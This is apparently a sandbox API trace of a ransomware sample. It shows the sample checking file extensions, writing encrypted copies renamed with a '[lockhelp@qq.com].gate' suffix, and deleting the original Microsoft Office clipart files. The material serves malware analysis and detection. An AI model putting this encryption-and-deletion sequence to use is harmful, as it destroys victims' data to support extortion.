(lpString=".1cd") returned 4 [0299.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0299.558] lstrlenW (lpString=".jpg") returned 4 [0299.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.558] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=17924) returned 1 [0299.558] CloseHandle (hObject=0x538) returned 1 [0299.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0299.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.559] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.559] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.560] GetLastError () returned 0x0 [0299.560] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4604, lpOverlapped=0x0) returned 1 [0299.605] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4610, lpOverlapped=0x0) returned 1 [0299.606] ReadFile (in: hFile=0x538, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.606] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.606] SetEndOfFile (hFile=0x50c) returned 1 [0299.606] CloseHandle (hObject=0x50c) returned 1 [0299.606] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.606] SetEndOfFile (hFile=0x538) returned 1 [0299.608] CloseHandle (hObject=0x538) returned 1 [0299.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0299.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.609] lstrlenW (lpString=".doc") returned 4 [0299.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.609] lstrlenW (lpString=".docx") returned 5 [0299.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.609] lstrlenW (lpString=".pdf") returned 4 [0299.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.609] lstrlenW (lpString=".xls") returned 4 [0299.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.609] lstrlenW (lpString=".xlsx") returned 5 [0299.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.609] lstrlenW (lpString=".ppt") returned 4 [0299.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.609] lstrlenW (lpString=".zip") returned 4 [0299.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.610] lstrlenW (lpString=".rar") returned 4 [0299.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.610] lstrlenW (lpString=".bz2") returned 4 [0299.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.610] lstrlenW (lpString=".7z") returned 3 [0299.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.610] lstrlenW (lpString=".dbf") returned 4 [0299.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.610] lstrlenW (lpString=".1cd") returned 4 [0299.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0299.610] lstrlenW (lpString=".jpg") returned 4 [0299.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.632] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=31180) returned 1 [0299.632] CloseHandle (hObject=0x52c) returned 1 [0299.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0299.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0299.632] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.633] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0299.633] GetLastError () returned 0x0 [0299.633] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0299.827] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0299.828] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.828] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.828] SetEndOfFile (hFile=0x4f4) returned 1 [0299.828] CloseHandle (hObject=0x4f4) returned 1 [0299.828] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.828] SetEndOfFile (hFile=0x52c) returned 1 [0299.831] CloseHandle (hObject=0x52c) returned 1 [0299.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0299.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.832] lstrlenW (lpString=".doc") returned 4 [0299.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString=".docx") returned 5 [0299.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.832] lstrlenW (lpString=".pdf") returned 4 [0299.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString=".xls") returned 4 [0299.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.832] lstrlenW (lpString=".xlsx") returned 5 [0299.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.832] lstrlenW (lpString=".ppt") returned 4 [0299.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.832] lstrlenW (lpString=".zip") returned 4 [0299.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.832] lstrlenW (lpString=".rar") returned 4 [0299.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString=".bz2") returned 4 [0299.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString=".7z") returned 3 [0299.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.832] lstrlenW (lpString=".dbf") returned 4 [0299.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.833] lstrlenW (lpString=".1cd") returned 4 [0299.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0299.833] lstrlenW (lpString=".jpg") returned 4 [0299.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.833] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4396) returned 1 [0299.833] CloseHandle (hObject=0x52c) returned 1 [0299.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0299.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0299.834] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.834] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0299.834] GetLastError () returned 0x0 [0299.834] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x112c, lpOverlapped=0x0) returned 1 [0299.864] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1130, lpOverlapped=0x0) returned 1 [0299.865] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.865] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.865] SetEndOfFile (hFile=0x4f4) returned 1 [0299.868] CloseHandle (hObject=0x4f4) returned 1 [0299.872] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.872] SetEndOfFile (hFile=0x52c) returned 1 [0299.886] CloseHandle (hObject=0x52c) returned 1 [0299.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0299.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.887] lstrlenW (lpString=".doc") returned 4 [0299.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.887] lstrlenW (lpString=".docx") returned 5 [0299.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.887] lstrlenW (lpString=".pdf") returned 4 [0299.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString=".xls") returned 4 [0299.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.888] lstrlenW (lpString=".xlsx") returned 5 [0299.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.888] lstrlenW (lpString=".ppt") returned 4 [0299.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.888] lstrlenW (lpString=".zip") returned 4 [0299.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.888] lstrlenW (lpString=".rar") returned 4 [0299.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString=".bz2") returned 4 [0299.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString=".7z") returned 3 [0299.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.888] lstrlenW (lpString=".dbf") returned 4 [0299.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.888] lstrlenW (lpString=".1cd") returned 4 [0299.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0299.888] lstrlenW (lpString=".jpg") returned 4 [0299.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.889] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4660) returned 1 [0299.889] CloseHandle (hObject=0x52c) returned 1 [0299.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0299.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0299.889] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.889] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.890] GetLastError () returned 0x0 [0299.890] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1234, lpOverlapped=0x0) returned 1 [0299.970] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1240, lpOverlapped=0x0) returned 1 [0300.349] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.349] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.349] SetEndOfFile (hFile=0x564) returned 1 [0300.413] CloseHandle (hObject=0x564) returned 1 [0300.423] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.423] SetEndOfFile (hFile=0x52c) returned 1 [0300.433] CloseHandle (hObject=0x52c) returned 1 [0300.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0300.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.666] lstrlenW (lpString=".doc") returned 4 [0300.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.666] lstrlenW (lpString=".docx") returned 5 [0300.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.666] lstrlenW (lpString=".pdf") returned 4 [0300.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString=".xls") returned 4 [0300.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.667] lstrlenW (lpString=".xlsx") returned 5 [0300.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.667] lstrlenW (lpString=".ppt") returned 4 [0300.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.667] lstrlenW (lpString=".zip") returned 4 [0300.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.667] lstrlenW (lpString=".rar") returned 4 [0300.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString=".bz2") returned 4 [0300.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString=".7z") returned 3 [0300.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.667] lstrlenW (lpString=".dbf") returned 4 [0300.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.667] lstrlenW (lpString=".1cd") returned 4 [0300.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0300.667] lstrlenW (lpString=".jpg") returned 4 [0300.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.667] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1648) returned 1 [0300.668] CloseHandle (hObject=0x554) returned 1 [0300.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0300.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0300.668] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.668] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0300.669] GetLastError () returned 0x0 [0300.669] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x670, lpOverlapped=0x0) returned 1 [0301.033] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x680, lpOverlapped=0x0) returned 1 [0301.034] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, 